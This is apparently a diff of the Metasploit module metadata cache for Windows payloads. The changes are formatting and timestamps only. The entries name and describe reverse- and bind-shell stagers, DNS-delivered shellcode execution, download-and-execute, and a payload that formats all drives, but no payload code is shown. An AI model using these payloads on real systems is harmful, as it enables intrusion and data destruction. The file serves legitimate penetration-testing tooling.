"payload_windows/dllinject/bind_hidden_ipknock_tcp": { "name": "Reflective DLL Injection, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/dllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252595,15 +254564,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252614,9 +254582,7 @@ "payload_windows/dllinject/bind_hidden_tcp": { "name": "Reflective DLL Injection, Hidden Bind TCP Stager", "fullname": "payload/windows/dllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252638,15 +254604,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252657,9 +254622,7 @@ "payload_windows/dllinject/bind_ipv6_tcp": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/dllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252679,15 +254642,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252698,9 +254660,7 @@ "payload_windows/dllinject/bind_ipv6_tcp_uuid": { "name": "Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/dllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252721,15 +254681,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252740,9 +254699,7 @@ "payload_windows/dllinject/bind_named_pipe": { "name": "Reflective DLL Injection, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/dllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252761,15 +254718,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252780,9 +254736,7 @@ "payload_windows/dllinject/bind_nonx_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252801,15 +254755,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252820,9 +254773,7 @@ "payload_windows/dllinject/bind_tcp": { "name": "Reflective DLL Injection, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/dllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252842,15 +254793,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252861,9 +254811,7 @@ "payload_windows/dllinject/bind_tcp_rc4": { "name": "Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/dllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252885,15 +254833,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252904,9 +254851,7 @@ "payload_windows/dllinject/bind_tcp_uuid": { "name": "Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/dllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252926,15 +254871,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/dllinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252945,9 +254889,7 @@ "payload_windows/dllinject/find_tag": { "name": "Reflective DLL Injection, Find Tag Ordinal Stager", "fullname": "payload/windows/dllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252966,15 +254908,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/dllinject/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252985,9 +254926,7 @@ "payload_windows/dllinject/reverse_http": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/dllinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253006,15 +254945,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253025,9 +254963,7 @@ "payload_windows/dllinject/reverse_http_proxy_pstore": { "name": "Reflective DLL Injection, Reverse HTTP Stager Proxy", "fullname": "payload/windows/dllinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253046,15 +254982,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253065,9 +255000,7 @@ "payload_windows/dllinject/reverse_ipv6_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/dllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253087,15 +255020,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253106,9 +255038,7 @@ "payload_windows/dllinject/reverse_nonx_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253127,15 +255057,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253146,9 +255075,7 @@ "payload_windows/dllinject/reverse_ord_tcp": { "name": "Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/dllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253167,15 +255094,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253186,9 +255112,7 @@ "payload_windows/dllinject/reverse_tcp": { "name": "Reflective DLL Injection, Reverse TCP Stager", "fullname": "payload/windows/dllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253208,15 +255132,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253227,9 +255150,7 @@ "payload_windows/dllinject/reverse_tcp_allports": { "name": "Reflective DLL Injection, Reverse All-Port TCP Stager", "fullname": "payload/windows/dllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253249,15 +255170,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253268,9 +255188,7 @@ "payload_windows/dllinject/reverse_tcp_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (DNS)", "fullname": "payload/windows/dllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253291,15 +255209,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253310,9 +255227,7 @@ "payload_windows/dllinject/reverse_tcp_rc4": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/dllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253334,15 +255249,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253353,9 +255267,7 @@ "payload_windows/dllinject/reverse_tcp_rc4_dns": { "name": "Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/dllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253377,15 +255289,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253396,9 +255307,7 @@ "payload_windows/dllinject/reverse_tcp_uuid": { "name": "Reflective DLL Injection, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/dllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253418,15 +255327,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253437,9 +255345,7 @@ "payload_windows/dllinject/reverse_winhttp": { "name": "Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/dllinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253459,15 +255365,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253478,34 +255383,29 @@ "payload_windows/dns_txt_query_exec": { "name": "DNS TXT Record Payload Download and Execution", "fullname": "payload/windows/dns_txt_query_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "corelanc0d3r " ], - "description": "Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\n option is used as the base name to iterate over. The payload will first request the TXT contents of the a\n hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\n x86/alpha_mixed with the BufferRegister option set to EDI.", - "references": [ - - ], + "description": "Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\n option is used as the base name to iterate over. The payload will first request the TXT contents of the a\n hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\n x86/alpha_mixed with the BufferRegister option set to EDI.", + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-06 14:26:44 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb", "is_install_path": true, "ref_name": "windows/dns_txt_query_exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253514,9 +255414,7 @@ "payload_windows/download_exec": { "name": "Windows Executable Download (http,https,ftp) and Execute", "fullname": "payload/windows/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253524,24 +255422,21 @@ "corelanc0d3r " ], "description": "Download an EXE from an HTTP(S)/FTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-11-26 11:49:56 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/download_exec.rb", "is_install_path": true, "ref_name": "windows/download_exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253550,9 +255445,7 @@ "payload_windows/exec": { "name": "Windows Execute Command", "fullname": "payload/windows/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253561,24 +255454,21 @@ "sf " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/exec.rb", "is_install_path": true, "ref_name": "windows/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253587,9 +255477,7 @@ "payload_windows/format_all_drives": { "name": "Windows Drive Formatter", "fullname": "payload/windows/format_all_drives", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "payload", @@ -253597,7 +255485,7 @@ "Ashfaq Ansari ", "Ruei-Min Jiang " ], - "description": "This payload formats all mounted disks in Windows (aka ShellcodeOfDeath).\n\n After formatting, this payload sets the volume label to the string specified in\n the VOLUMELABEL option. If the code is unable to access a drive for any reason,\n it skips the drive and proceeds to the next volume.", + "description": "This payload formats all mounted disks in Windows (aka ShellcodeOfDeath).\n\n After formatting, this payload sets the volume label to the string specified in\n the VOLUMELABEL option. If the code is unable to access a drive for any reason,\n it skips the drive and proceeds to the next volume.", "references": [ "URL-http://hacksys.vfreaks.com/research/shellcode-of-death.html", "URL-https://github.com/hacksysteam/ShellcodeOfDeath" @@ -253608,7 +255496,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/format_all_drives.rb", "is_install_path": true, "ref_name": "windows/format_all_drives", @@ -253628,9 +255516,7 @@ "payload_windows/loadlibrary": { "name": "Windows LoadLibrary Path", "fullname": "payload/windows/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253639,24 +255525,21 @@ "hdm " ], "description": "Load an arbitrary library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/loadlibrary.rb", "is_install_path": true, "ref_name": "windows/loadlibrary", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253665,9 +255548,7 @@ "payload_windows/messagebox": { "name": "Windows MessageBox", "fullname": "payload/windows/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253676,9 +255557,7 @@ "jduck " ], "description": "Spawns a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -253692,8 +255571,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -253702,9 +255580,7 @@ "payload_windows/meterpreter/bind_hidden_ipknock_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/meterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253727,15 +255603,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253746,9 +255621,7 @@ "payload_windows/meterpreter/bind_hidden_tcp": { "name": "Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager", "fullname": "payload/windows/meterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253771,15 +255644,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253790,9 +255662,7 @@ "payload_windows/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253813,15 +255683,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253832,9 +255701,7 @@ "payload_windows/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253855,15 +255722,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253874,9 +255740,7 @@ "payload_windows/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253897,15 +255761,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253916,9 +255779,7 @@ "payload_windows/meterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253939,15 +255800,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -253958,9 +255818,7 @@ "payload_windows/meterpreter/bind_tcp": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -253981,15 +255839,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254000,9 +255857,7 @@ "payload_windows/meterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254025,15 +255880,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254044,9 +255898,7 @@ "payload_windows/meterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254067,15 +255919,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254086,9 +255937,7 @@ "payload_windows/meterpreter/find_tag": { "name": "Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254108,15 +255957,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254127,9 +255975,7 @@ "payload_windows/meterpreter/reverse_http": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager 